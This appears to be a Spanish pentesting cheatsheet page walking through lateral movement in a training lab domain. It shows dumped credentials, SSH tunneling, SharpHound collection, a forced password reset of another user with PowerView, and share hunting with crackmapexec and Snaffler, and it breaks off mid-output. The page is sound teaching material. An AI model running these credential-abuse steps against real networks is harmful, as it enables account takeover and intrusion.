Cheatsheet
  • Introducción
    • 👾Ethical Hacking Cheatsheet
      • 📕Metodología OSSTMM
      • 📘MITRE ATT&CK
      • 🔢Proceso de Pentesting
      • 💻Instalación del entorno
        • 💻Instalación de VMWare
        • 💻Virtualizar Kali Linux
        • 🎨Personalización del entorno
        • 🕷️Máquinas Vulnerables
          • 💣Metasploitable 3
          • 🖖VPLE
          • 🟦Windows 11 Developer
      • 📔Organización y Notas
      • 👜Documentación e informes
        • 👜Documentos iniciales
        • 👜Toma de notas y organización
        • 👜Herramientas de documentación
        • 👜Tipos de informes
        • 👜Componentes de un informe
        • 👜Cómo redactar un hallazgo
        • 👜Consejos y trucos en la realización de informes
        • 👜Caso práctico: Informes
        • 👜CPTS Report
  • Sistemas básicos
    • 🐧Linux
    • 🪟Windows
    • 🔓Puertos y comprobaciones
    • Modos de Red
  • Recopilación de información
    • 🌐Google Hacking
      • 🌐Google Dorks
    • 💻Enumeración
      • 💻Metodología
      • 💻FTP
      • 💻SMB
      • 💻NFS
      • 💻DNS
      • 💻SMTP
      • 💻IMAP/POP3
      • 💻SNMP
      • 💻MySQL
      • 💻MSSQL
      • 💻Oracle TNS
      • 💻IPMI
      • 💻Protocolos de Administración Remota - Linux
      • 💻Protocolos de Administración Remota - Windows
      • 💻Footprinting Lab - Easy
      • 💻Footprinting Lab - Medium
      • 💻Footprinting Lab - Hard
    • 🔎Recopilación de información
      • 🔎Recopilación Pasiva
        • 🔎Subdominios - Pasiva
        • 🔎Identificar Tecnologías
        • 🔎Infraestructura - Pasiva
        • 🔎Fingerprinting
        • 🦭FOCA
      • 💻Recopilación Activa
        • 💻Reconocimiento automatizado
        • 💻Nmap
        • 💻Nmap Scripting Engine
        • 💻Subdominios - Activa
        • 💻Infraestructura - Activa
        • 💻Virtual Hosts
        • 💻Evasión de IDS
        • 💻Escaneo Avanzado
        • 💻Lab - Recopilación
      • 🧠OSINT
        • 🧠Herramientas Genéricas
        • 🧠OSINT a Usernames
        • 🧠OSINT a Teléfonos
        • 🧠OSINT a Emails
        • 🧠OSINT a Dominios
        • 🧠OSINT en Linkedin
        • 🧠OSINT en Instagram
    • 🕸️Fuzzing
      • 🕸️Gobuster
      • 🕸️Ffuf
      • 🕸️Dirsearch
    • 🕸️Crawling
      • 🕸️Web Crawlers
      • 🕸️Herramientas de Crawling
    • ☁️Hacking en CMS
    • 🍏Hacking en MacOS
  • Análisis de vulnerabilidades
    • 👾Análisis de vulnerabilidades
    • 👽Herramientas de Análisis
      • ⚙️Nmap: Análisis
      • ⚙️Nuclei
      • ⚙️OpenVAS
      • ⚙️Nessus
  • Explotación de vulnerabilidades
    • 💣Explotación en Hosts
      • 🔥Acceso básico
      • 🐚Shells y Payloads
        • 🐚Bind Shells
        • 🐚Reverse Shells
        • 🐚Payloads
        • 💣Metasploit Payloads
        • 🐚Tratamiento de la TTY
        • 🐚Webshells
          • 🐚Laudanum
          • 🐚PHP Webshell
        • 💣Lab de explotación
      • 🔎Buscador de exploits
      • 🔑Password Attacks
        • 🔑Cracking de Contraseñas
        • 🔑Hashcat
        • 🔑Bruteforce de Servicios
        • 🔑Login Bruteforce
          • 🔑Ataques de fuerza bruta
          • 🔑Ataques de diccionario
          • 🔑Ataques Híbridos
          • 🔑Bruteforce con Hydra
          • 🔑Autenticación HTTP básica
          • 🔑Formularios de Login
          • 🔑Medusa
        • 🔑Password Mutations
        • 🔑Contraseñas por defecto
        • 🔑Windows Attacks
          • 🔑Atacando a SAM
          • 🔑Atacando a LSASS
          • 🔑Atacando Active Directory
          • 🔑Credential Hunting - Windows
        • 🔑Linux Attacks
          • 🔑Credential Hunting - Linux
          • 🔑Passwd, Shadow y Opasswd
        • 🔑Archivos Protegidos
        • 🔑Archivos Comprimidos
        • 🔑Políticas de Contraseñas
        • 🔑Administradores de Contraseñas
        • 🔑Labs de contraseñas
          • 🔑Lab de contraseñas - Easy
          • 🔑Lab de contraseñas - Medium
          • 🔑Lab de contraseñas - Hard
      • 👾Atacando Servicios Comunes
        • 👾Ataques a FTP
        • 👾Ataques a SMB
        • 👾Ataques a Bases de Datos
        • 👾Ataques a RDP
        • 👾Ataques a DNS
        • 👾Ataques a Emails
        • 👾Labs - Common Services
          • 👾Lab - Easy
          • 👾Lab - Medium
          • 👾Lab - Hard
      • 🔁Pivoting, Tunelling y Port Forwarding
        • 🔁Redes en Pivoting
        • 🔁Port Forwarding
        • 🔁Remote/Reverse Port Forwarding con SSH
        • 🔁Meterpreter Tunneling & Port Forwarding
        • 🔁Pivoting con Socat
        • 🔁SSH para Windows: plink.exe
        • 🔁Pivoting SSH con Sshuttle
        • 🔁Web Server Pivoting con Rpivot
        • 🔁Port Forwarding con Windows Netsh
        • 🔁Túnel DNS con Dnscat2
        • 🔁SOCKS5 Tunneling con Chisel
        • 🔁ICMP Tunneling con SOCKS
        • 🔁RDP y SOCKS Tunneling con SocksOverRDP
        • 🔁Pivoting: Skills Assessment
        • 🔁Port Forwarding dinámico
      • 🧨Metasploit
        • 🧨Metasploit - Atacando Windows
      • ☠️Msfvenom
      • 🐍Hydra
      • ❌BruteX
      • 🔄File Transfers
      • 💿Buffer Overflow en Linux
    • 💣Explotación en Web
      • ⬆️Ataques de subida de archivos
        • ⬆️Ausencia de validación
        • ⬆️Explotación de subida
        • ⬆️Client-Side Validation
        • ⬆️Filtros de Blacklist
        • ⬆️Filtros de Whitelist
        • ⬆️Filtros de tipo
        • ⬆️Cargas de archivos limitadas
        • ⬆️Otros ataques de carga
        • ⬆️Prevención en carga de archivos
        • ⬆️File Uploads - Skills Assessment
      • 🕸️Ataques Web Modernos
        • 🕸️HTTP Verb Tampering
          • 🕸️Bypass de autenticación
          • 🕸️Bypass de Filtros
          • 🕸️Prevención de HTML Verb Tampering
        • 🕸️IDOR
          • 🕸️Identificación de IDOR
          • 🕸️Enumeración de IDOR
          • 🕸️Bypass de referencias codificadas
          • 🕸️IDOR en APIs Inseguras
          • 🕸️Encadenar vulnerabilidades IDOR
          • 🕸️Prevención de IDOR
        • 🕸️XML External Entity (XXE)
          • 🕸️Local File Disclosure
          • 🕸️Advanced File Disclosure
          • 🕸️Blind Data Exfiltration
          • 🕸️Prevención de XXE
        • 🕸️Ataques Web - Skills Assesment
      • 💣Ataques a Aplicaciones Web
        • 🔎Descubrimiento y enumeración de aplicaciones
        • 💣Ataques a CMS
          • 🔎Wordpress - Enumeración
          • 💣Wordpress - Ataques
          • 🔎Joomla - Enumeración
          • 💣Joomla - Ataques
          • 🔎Drupal - Enumeración
          • 💣Drupal - Ataques
        • 💣Ataques a Servlet Containers
          • 🔎Tomcat - Enumeración
          • 💣Tomcat - Ataques
          • 🔎Jenkins - Enumeración
          • 💣Jenkins - Ataques
        • 💣Ataques a herramientas de monitorización
          • 🔎Splunk - Enumeración
          • 💣Splunk - Ataques
          • 💣PTRG Network Monitor
        • 💣Ataques a aplicaciones varias
          • 💣osTicket
          • 🔎GitLab - Enumeración
          • 💣GitLab - Ataques
          • 💣Tomcat CGI
          • 💣Ataques a CGI - Shellshock
          • 💣Ataques a Aplicaciones de Cliente Pesado
          • 💣Vulnerabilidades Web en Aplicaciones de Cliente Pesado
          • 🔎ColdFusion - Enumeración
          • 💣Coldfusion - Ataques
          • 🔎IIS Tilde - Enumeración
          • 💣Asignación masiva de archivos web
          • 💣Ataques a aplicaciones que se conectan a servicios
          • 💣Otras aplicaciones notables
          • 🛡️Hardening de Aplicaciones
        • 💣Labs - Ataques a Aplicaciones
          • 💣Lab - Ataques a Aplicaciones I
          • 💣Lab - Ataques a Aplicaciones II
          • 💣Lab - Ataques a Aplicaciones III
      • 💉SQL Injection
        • 💉SQLMap
          • 💉Introducción a SQLMap
          • 💉SQLMap - HTTP Request
          • 💉SQLMap - Manejo de errores
          • 💉SQLMap - Ajuste del ataque
          • 💉SQLMap - Enumeración Básica
          • 💉SQLMap - Enumeración Avanzada
          • 💉SQLMap - Bypass de protección web
          • 💉SQLMap - Explotación de S.O.
          • 💉SQLMap - Skills Assessment
      • 💉Command Injection
        • 💉Detección
        • 💉Inyectando comandos
        • 💉Otros operadores de inyección
        • 💉Identificación de filtros
        • 💉Bypass de filtros de espacios
        • 💉Bypass de otros caracteres en Blacklist
        • 💉Bypass de comandos en Blacklist
        • 💉Ofuscación de comandos avanzada
        • 💉Herramientas de Ofuscación de comandos
        • 💉Prevención de Command Injection
        • 💉Command Injection - Skills Assesment
      • 📁Local File Inclusion
      • 💿Cross Site Scripting (XSS)
        • 💿XSS Stored
        • 💿XSS Reflected
        • 💿XSS DOM-Based
        • 💿XSS Discovery
        • 💿XSS Payloads
        • 💿Defacing con XSS
        • 💿Phising con XSS
        • 💿Session Hijacking
        • 💿Prevención de XSS
        • 💿XSS - Skills Assessment
      • 💻API Hacking
      • 🔻DDoS Attack
      • 💡Web Proxies
        • 💡Configuración
        • 💡Interceptando solicitudes
        • 💡Interceptar respuestas
        • 💡Modificación automática
        • 💡Solicitudes repetidas
        • 💡Encoding / Decoding
        • 💡Herramientas de Proxy
        • 💡Burp Intruder
        • 💡Zap Fuzzer
        • 💡Burp Scanner
        • 💡Zap Scanner
        • 💡Extensiones
        • 💡Proxy: Skills Assestment
      • 👨‍🍳Cyberchef
    • 💣Explotación en Redes
      • 😎Man in the middle
      • 🎣Phising
        • 🎣Herramientas de Phising
        • 🎣Seeker y Ngrok
        • 🎣Social Engineering Toolkit
        • 🎣Gophish
      • 🤼Ingeniería Social
      • 🔐Bruteforce a RRSS
      • 🌐Hacking WiFi
        • 🌐Conceptos básicos
        • 🌐Redes Básicas
        • 🌐Sniffing
        • 🌐Deauth
        • 🌐Redes ocultas
        • 🌐WEP Cracking
          • 🌐Ataque a WEP
          • 🌐Fake Autentication
          • 🌐Packet Injection
            • 🌐ARP Request Replay
            • 🌐Chop Chop
            • 🌐Fragmentation
          • 🌐Redes SKA
        • 🌐WPS Cracking
        • 🌐WPA/WPA2 Cracking
        • 🌐Wifite
        • 🌐Evil Portal
        • 🌐Rainbow Table
        • 🌐WPA/WPA2 Enterprise
    • 📕Diccionarios Custom
      • 📕Username Anarchy
      • 📕Cupp
      • 📕Crunch
      • 📕CeWL
      • 📕DyMerge
  • Post Explotación
    • 💻Post Explotación
      • 👾Meterpreter
      • 🐈Mimikatz
      • 🔐LaZagne
      • 📩Procdump y lsass.exe
      • ↔️Movimientos Laterales
        • ↔️Pass the Hash (PtH)
        • ↔️Pass the Ticket (PtT) - Windows
        • ↔️Pass the Ticket (PtT) - Linux
      • 🚪Backdoor en binarios
      • ☠️Command & Control (C2)
        • ☠️Sliver
      • 🦅Covenant
      • ⚔️Koadic
      • 💾Bases de datos
        • 💾MySQL
        • 💾PostgreSQL
      • ⚙️P.E. Avanzada
      • ⚕️Forense Digital
        • ⚕️Análisis de Malware
        • ⚕️Análisis de Memoria
      • 🧼Borrado de evidencias
    • 🌋Escalada de Privilegios
      • 🐧Escalada de privilegios en Linux
        • 🐧Enumeración del entorno
        • 🐧Enumeración de servicios y componentes internos
        • 🐧Búsqueda de credenciales en Linux
        • 🐧Abuso de PATH
        • 🐧Abuso de comodines
        • 🐧Shells restringidos
        • 🐧Permisos especiales
        • 🐧Abuso de permisos Sudo
        • 🐧Grupos privilegiados
        • 🐧Capabilities
        • 🐧Servicios vulnerables
        • 🐧Abuso de Cron
        • 🐧Contenedores
        • 🐧Docker
        • 🐧Kubernetes
        • 🐧Logrotate
        • 🐧Técnicas varias
        • 🐧Exploits del Kernel - Linux
        • 🐧Bibliotecas compartidas
        • 🐧Secuestro de objetos compartidos
        • 🐧Secuestro de librería de Python
        • 🐧Sudo Zeroday
        • 🐧Polkit Zeroday
        • 🐧Dirty Pipe
        • 🐧Netfilter
        • 🐧Hardening en Linux - Privesc
        • 🐧Escalada en Linux - Skills Assesment
        • ⬆️Linpeas
      • 📘Escalada de privilegios en Windows
        • 📘Herramientas útiles
        • 📘Conciencia situacional
        • 📘Enumeración inicial en Windows
        • 📘Enumeración inicial
        • 📘Comunicación con Procesos
        • 📘Privilegios de Usuario en Windows
          • 📘SeImpersonate y SeAssignPrimaryToken
          • 📘SeDebugPrivilege
          • 📘SeTakeOwnershipPrivilege
        • 📘Privilegios de Grupo en Windows
          • 📘Grupos Integrados en Windows
          • 📘Lectores de Registros de Eventos
          • 📘DnsAdmins
          • 📘Hyper-V Administrators
          • 📘Print Operators
          • 📘Server Operators
        • 📘Atacando el Sistema Operativo Windows
          • 📘User Account Control (UAC)
          • 📘Permisos débiles
          • 📘Exploits del Kernel - Windows
          • 📘Servicios vulnerables en Windows
          • 📘DLL Injection
        • 📘Robo de credenciales en Windows
          • 📘Búsqueda de credenciales en Windows
          • 📘Otros archivos interesantes en Windows
          • 📘Otros robos de credenciales en Windows
        • 📘Entornos restrictivos - Citrix
        • 📘Varias técnicas de escalada en Windows
          • 📘Interacción con usuarios
          • 📘Pillaging
          • 📘Técnicas varias
        • 📘Sistemas Operativos Obsoletos
          • 📘Sistemas operativos heredados
          • 📘Windows Server
          • 📘Windows Desktop
        • 📘Hardening en Windows
        • 📘Escalada de privilegios en Windows: Skills Assessment
          • 📘Escenario 1
          • 📘Escenario 2
      • 🔴GTFOBins
  • Evasión de defensas
    • 🛡️Detección y evasión de defensas
      • 🛡️Load Balancing Detector
      • 🛡️Evasión de WAFs
      • 🛡️Evasión de Antivirus
      • 🛡️Herramientas de Evasión
  • Active Directory
    • ☁️Active Directory
      • ☁️Enumeración en AD
        • ☁️AD: Enumeración inicial del dominio
        • ☁️AD: Enumeración de controles de seguridad
        • ☁️AD: Enumeración con credenciales: desde Linux
        • 👁️PowerView
        • ☁️AD: Enumeración con credenciales: desde Windows
        • ☁️AD: Enumeración nativa en Windows
      • ☄️Sniffing desde el Foothold
        • ☄️LLMNR/NBT-NS Poisoning - Desde Linux
        • ☄️LLMNR/NBT-NS Poisoning - Desde Windows
      • 🔫Password Spraying
        • 🔫AD: Políticas de contraseñas
        • 🔫AD: Crear lista de usuarios
        • 🔫Password Spraying Interno - Desde Linux
        • 🔫Password Spraying Interno - Desde Windows
      • 🐺Kerberos
        • ⚔️Hacking en Kerberos
        • ⚔️Kerberoasting desde Linux
        • ⚔️Kerberoasting desde Windows
        • 🗝️Acceso a Credenciales
        • 🗝️Volcado de LSASS y SAM
        • 🗝️Credenciales cacheadas
        • 🗝️Pass the Hash
        • 🪙Token Impersonation
        • 🎟️ASK-TGT
        • 🎫Golden y Silver Tickets
        • 🐺Kerberos "Double Hop"
      • 🦸‍♂️ACLs - Access Control Lists
        • 🦸‍♂️ACLs Vulnerables
        • 🦸‍♂️Enumeración de ACLs
        • 🦸‍♂️Tácticas de abuso de ACLs
      • 🔄DCSync
      • ⬆️Acceso Privilegiado
      • ❤️‍🩹Vulnerabilidades en AD
      • ⚙️Malas configuraciones en AD
      • 🤝Relaciones de confianza
        • 🤝Ataque de confianza de dominio - Desde Windows
        • 🤝Ataque de confianza de dominio - Desde Linux
        • 🤝Abuso de confianza entre bosques - Desde Windows
        • 🤝Abuso de confianza entre bosques - Desde Linux
      • ☁️Vulnerable AD
      • ⬇️SAM
      • 🔐LDAP
        • 🔐Atacando LDAP
      • 🔐NTDS
      • 🔐NTLM/SMB Relay
      • 🩸BloodHound
      • 🛡️Hardening en AD
      • 💻Técnicas adicionales de auditoría en AD
      • 💻AD - Skills Assessment I
      • 💻AD - Skills Assessment II
  • Hacking en entornos reales
    • 🏛️Enterprise Hacking
      • 🏛️Escenario y KickOff
      • 🏛️Enterprise Hacking Checklist
      • 🏛️Pruebas externas
        • 🏛️Recopilación de Información Externa
        • 🏛️Enumeración y explotación de servicios
        • 🏛️Enumeración y explotación web
        • 🏛️Acceso inicial
      • 🏛️Pruebas internas
        • 🏛️Persistencia Post-Explotación
        • 🏛️Recopilación de Información Interna
        • 🏛️Explotación y escalada de privilegios
      • 🏛️Movimiento lateral y escalada de privilegios
        • 🏛️Movimiento lateral
        • 🏛️Comprometiendo Active Directory
        • 🏛️Post Explotación en Active Directory
        • 🏛️Cierre del pentesting
    • ☁️AWS - Amazon Web Services
    • ⚔️Hacking en AWS
  • Anonimato y privacidad
    • 👹Anonimato y Privacidad
      • 🔒VPN
      • 🔒Proxy
      • 🔒Red TOR
      • 🔒Zero Knowledge Services
  • Machine Learning en Hacking
    • 🧠Machine Learning
      • 🧠Batea
      • 💀Pesidious
  • Hardware Hacking
    • 🐬Flipper Zero
      • 🐬Introducción
        • 🐬qFlipper
        • 🐬Instalar qFlipper en Kali Linux
        • 🐬Recuperación de Firmware
      • 📻Sub-GHz
        • 📻Lectura de señales
        • 📻Lectura de señales RAW
        • 📻Añadir nuevos controles remotos
        • 📻Frecuencias
      • ♒RFID de 125 kHz
        • ♒Lectura de tarjetas RFID
        • ♒Añadir tarjetas RFID manualmente
        • ♒Escritura de datos en tarjetas T5577
        • ♒Microchips para animales
      • 💳NFC
        • 💳Lectura de tarjetas NFC
        • 💳Extracción de claves con MFKey32
        • 💳Desbloqueo de tarjetas con contraseñas
        • 💳Escritura de datos en Magic Cards
        • 💳Añadir nuevas tarjetas NFC
      • 🔴Infrarrojos
        • 🔴Lectura de señales infrarrojas
        • 🔴Controles remotos universales
      • 👿Bad USB
        • 👿Script básico de Youtube
        • 👿Bruteforce de Pins
        • 👿RatLocker
      • 🎨Custom Firmwares
      • 🛜GPIO y Módulos
        • 🛜Marauder Firmware
        • 🛜Escaneo de Redes Wifi
        • 🛜Wifi Password Cracking
        • 🛜Evil Portal
      • 🔘iButton
        • 🔘Lectura de llaves iButton
        • 🔘Agregar llaves iButton manualmente
        • 🔘Escritura de datos en llaves iButton
  • Writeups
    • 🟢Hack the Box
      • 🟠Backfire
      • 🟠Blurry
      • 🟠Hospital
      • 🟠Zipping
      • 🟢Analytics
      • 🟢Bizness
      • 🟢Boardlight
      • 🟢Broker
      • 🟢Chemistry
      • 🟢Codify
      • 🟢CozyHosting
      • 🟢Devvortex
      • 🟢GreenHorn
      • 🟢LinkVortex
      • 🟢PermX
    • 🐋Dockerlabs
      • 🟠Inclusion
      • 🟠Veneno
      • 🟢Hedgehog
      • 🟢Library
      • 🟢Move
      • 🟢Walking CMS
    • 🌩️TryHackMe
      • 🟠Attracktive Directory
    • 🌐Over The Wire
      • 🌐Bandit
      • 🌐Natas
Con tecnología de GitBook
En esta página
  • Análisis con Bloodhound
  • Share Hunting
  • Kerberosting con Powerview
  • Password Spraying
  • Técnicas varias
  • Próximos pasos
  • Post-explotación / Looting
  • Acercándonos
  • Caso práctico
  • Pregunta 1
  • Pregunta 2
  • Pregunta 3
  • Pregunta 4

¿Te fue útil?

  1. Hacking en entornos reales
  2. Enterprise Hacking
  3. Movimiento lateral y escalada de privilegios

Movimiento lateral

AnteriorMovimiento lateral y escalada de privilegiosSiguienteComprometiendo Active Directory

Última actualización hace 1 mes

¿Te fue útil?

Después de lootear el host DEV01, encontramos el siguiente conjunto de credenciales al volcar los LSA Secrets:

hporter:Gr8hambino!

Dado que tenemos persistencia en DEV01 podemos usarlo como punto de partida para lanzar nuevos ataques.

Configurar pivoting

afsh4ck@kali$  ssh -i dmz01_key -L 13389:172.16.8.20:3389 root@10.129.229.147

Conexión por RDP

Usamos /drive:home,"/home/kali/Escritorio/hack-tools/WINDOWS para transferir archivos cómodamente entre las máquinas por RDP:

xfreerdp /v:127.0.0.1:13389 /u:hporter /p:Gr8hambino! /drive:home,"/home/kali/Escritorio/hack-tools/WINDOWS"

Análisis con Bloodhound

Usaremos el recopilador SharpHound para enumerar todos los objetos de AD posibles y luego ingerir los datos en la interfaz gráfica de BloodHound para su revisión. Podemos descargar el ejecutable (aunque en una evaluación real, es mejor compilar nuestras propias herramientas) y usar el práctico administrador de archivos DNN para subirlo al objetivo. Queremos recopilar la mayor cantidad de datos posible y no tenemos que preocuparnos por la evasión, así que usaremos la flag -c All para usar todos los métodos de recopilación.

Sharphound.exe

Podemos escribir net use para ver la ubicación de nuestra unidad redirigida y luego transferir la herramienta.

PS C:\Users\hporter> net use
New connections will be remembered.

Status       Local     Remote                    Network
-------------------------------------------------------------------------------
                       \\TSCLIENT\home           Microsoft Terminal Services
The command completed successfully.

PS c:\DotNetNuke\Portals\0> copy \\TSCLIENT\home\SharpHound.exe .
        1 file(s) copied.

PS C:\DotNetNuke\Portals\0> .\SharpHound.exe -c All

2025-04-24T12:43:38.0860265-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2025-04-24T12:43:38.2422538-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry
2025-04-24T12:43:38.3047304-07:00|INFORMATION|Initializing SharpHound at 12:43 PM on 4/24/2025
2025-04-24T12:43:38.5703661-07:00|INFORMATION|Loaded cache with stats: 0 ID to type mappings.
 0 name to SID mappings.
 0 machine sid mappings.
 0 sid to domain mappings.
 0 global catalog mappings.
2025-04-24T12:43:38.5859843-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry

ZIP generado

PS c:\DotNetNuke\Portals\0> dir
 Volume in drive C has no label.
 Volume Serial Number is DA7F-3F25

 Directory of c:\DotNetNuke\Portals\0

04/24/2025  12:01 PM    <DIR>          .
04/24/2025  12:01 PM    <DIR>          ..
04/24/2025  12:01 PM           236,186 20250424124339_data.zip

Esto generará un archivo Zip que podremos descargar de nuevo mediante la herramienta de gestión de archivos DNN o copiarla a nuestro Kali de la siguiente manera:

PS C:\DotNetNuke\Portals\0> copy 20250424124339_data.zip \\Tsclient\Home

A continuación, podemos iniciar el servicio neo4j (sudo neo4j start), y en otra terminal escribir bloodhound para abrir la herramienta GUI y importar el zip generado.

Buscando nuestro usuario hporter y seleccionando First Degree Object Control, podremos ver que el usuario tiene derechos ForceChangePassword sobre el usuario ssmalls.

Como apunte, podemos ver que todos los usuarios del dominio tienen acceso RDP al host DEV01. Esto significa que cualquier usuario del dominio puede acceder mediante RDP y, si escala privilegios, podría robar datos confidenciales como credenciales. Este hallazgo es importante; podemos calificarlo como Excessive Active Directory Group Privileges de riesgo medio. Si todo el grupo tuviera derechos de administrador local sobre un host, sin duda sería un hallazgo de alto riesgo.

Podemos usar PowerView para cambiar la contraseña del usuario ssmalls. Nos conectamos al destino mediante RDP tras comprobar que el puerto esté abierto. RDP nos facilitará la interacción con el dominio mediante una consola de PowerShell, aunque también podríamos hacerlo mediante nuestro acceso de reverse shell.

afsh4ck@kali$ proxychains nmap -sT -p 3389 172.16.8.20

ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-22 13:35 EDT
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.20:80-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.20:3389-<><>-OK
Nmap scan report for 172.16.8.20
Host is up (0.11s latency).

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds 

Para lograr esto, podemos usar otro comando de Port Forwarding SSH, de tipo Local Port Forwarding. Este comando nos permite enviar todo el tráfico RDP del host DEV01 al host dmz01 a través del puerto local 13389.

ssh -i dmz01_key -L 13389:172.16.8.20:3389 root@10.129.203.111

Una vez configurado este Port Forwarding, podemos usar xfreerdp para conectarnos al host mediante la redirección de unidad para transferir archivos de ida y vuelta fácilmente.

xfreerdp /v:127.0.0.1:13389 /u:hporter /p:Gr8hambino! /drive:home,"/home/tester/tools"

Cambiar la ruta donde se encuentran las herramientas de enumeración / explotación de Windows en nuestro equipo de atacante.

Observamos que solo tenemos acceso a la consola, ya que este servidor no tiene instalado el rol de Experiencia de Escritorio, pero solo necesitamos una consola.

c:\DotNetNuke\Portals\0> copy \\TSCLIENT\home\PowerView.ps1 .
        1 file(s) copied.

A continuación, escribimos powershell para colocarnos en una consola de PowerShell y podremos usar PowerView para cambiar la contraseña del usuario ssmalls de la siguiente manera:

PS C:\DotNetNuke\Portals\0> Import-Module .\PowerView.ps1

PS C:\DotNetNuke\Portals\0> Set-DomainUserPassword -Identity ssmalls -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force ) -Verbose

VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'ssmalls'
VERBOSE: [Set-DomainUserPassword] Password for user 'ssmalls' successfully reset

Podemos volver a nuestro host de ataque y confirmar que la contraseña se cambió correctamente. Generalmente, queremos evitar este tipo de actividad durante una prueba de penetración, pero si es nuestra única opción, debemos confirmarlo con nuestro cliente. La mayoría nos pedirá que procedamos para ver hasta dónde llegamos, pero siempre es mejor preguntar. Por supuesto, queremos anotar cualquier cambio como este en nuestro registro de actividad para poder incluirlo en un apéndice de nuestro informe.

afsh4ck@kali$ proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p Str0ngpass86!

ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:135-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
SMB         172.16.8.3      445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
SMB         172.16.8.3      445    DC01             [+] INLANEFREIGHT.LOCAL\ssmalls:Str0ngpass86!

Share Hunting

Tras investigar un poco más el host y el AD, no encontramos nada útil. BloodHound no muestra nada interesante para el usuario ssmalls. Tanto la sección "Enumeración con credenciales desde Windows" como la sección "Enumeración con credenciales desde Linux" abordaron la búsqueda de recursos compartidos de archivos con Snaffler y CrackMapExec, respectivamente.

En numerosas ocasiones, durante las pruebas de penetración, he tenido que recurrir a la búsqueda de recursos compartidos de archivos para encontrar información, como la contraseña de una cuenta de servicio o similar. A menudo he podido acceder a recursos compartidos departamentales (como TI) con credenciales con pocos privilegios debido a permisos NTFS débiles. En ocasiones, incluso he podido acceder a recursos compartidos de algunos o todos los usuarios de la empresa objetivo debido al mismo problema.

Con frecuencia, los usuarios desconocen que su unidad de disco personal es un recurso compartido de red asignado y no una carpeta local en su ordenador, por lo que pueden guardar allí todo tipo de datos confidenciales. Los permisos de los recursos compartidos de archivos son muy difíciles de mantener, especialmente en grandes organizaciones. A menudo, durante las pruebas de penetración, he tenido que buscar en recursos compartidos de archivos cuando me he quedado atascado. Recuerdo una prueba de penetración específica en la que tenía credenciales de usuario, pero me quedé atascado durante unos días y tuve que revisar recursos compartidos. Después de un tiempo, encontré un web.configarchivo con credenciales válidas para una cuenta de servicio MSSQL. Esto me otorgó permisos de administrador local en un servidor SQL donde un administrador de dominio había iniciado sesión, y se acabó el juego.

En otras ocasiones, he encontrado archivos con contraseñas en unidades de usuario que me han ayudado a avanzar. Dependiendo de la organización y de cómo estén configurados sus permisos de archivo, puede haber mucho que analizar y mucho "ruido". Una herramienta como Snaffler puede ayudarnos a gestionarlo y a centrarnos en los archivos y scripts más importantes. Probémoslo.

Primero, ejecutemos Snaffler desde nuestra sesión RDP como el usuario hporter.

c:\DotNetNuke\Portals\0> copy \\TSCLIENT\home\Snaffler.exe
        1 file(s) copied.

c:\DotNetNuke\Portals\0> Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data
 .::::::.:::.    :::.  :::.    .-:::::'.-:::::':::    .,:::::: :::::::..
;;;`    ``;;;;,  `;;;  ;;`;;   ;;;'''' ;;;'''' ;;;    ;;;;'''' ;;;;``;;;;
'[==/[[[[, [[[[[. '[[ ,[[ '[[, [[[,,== [[[,,== [[[     [[cccc   [[[,/[[['
  '''    $ $$$ 'Y$c$$c$$$cc$$$c`$$$'`` `$$$'`` $$'     $$""   $$$$$$c
 88b    dP 888    Y88 888   888,888     888   o88oo,.__888oo,__ 888b '88bo,
  'YMmMY'  MMM     YM YMM   ''` 'MM,    'MM,  ''''YUMMM''''YUMMMMMMM   'W'
                         by l0ss and Sh3r4 - github.com/SnaffCon/Snaffler


2022-06-22 10:57:33 -07:00 [Share] {Green}(\\DC01.INLANEFREIGHT.LOCAL\Department Shares)
2022-06-22 10:57:36 -07:00 [Share] {Black}(\\ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL\ADMIN$)
2022-06-22 10:57:36 -07:00 [Share] {Black}(\\ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL\C$)
Press any key to exit.

Esto no revela nada interesante, así que volvamos a ejecutar nuestra enumeración de recursos compartidos como el usuario ssmalls. Los usuarios suelen tener diferentes permisos, por lo que la enumeración de recursos compartidos debe considerarse un proceso iterativo. Para evitar tener que volver a usar RDP, podemos usar el módulo de CrackMapExec spider_plus para explorar.

afsh4ck@kali$ proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p Str0ngpass86! -M spider_plus --share 'Department Shares'

ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:135-<><>-OK
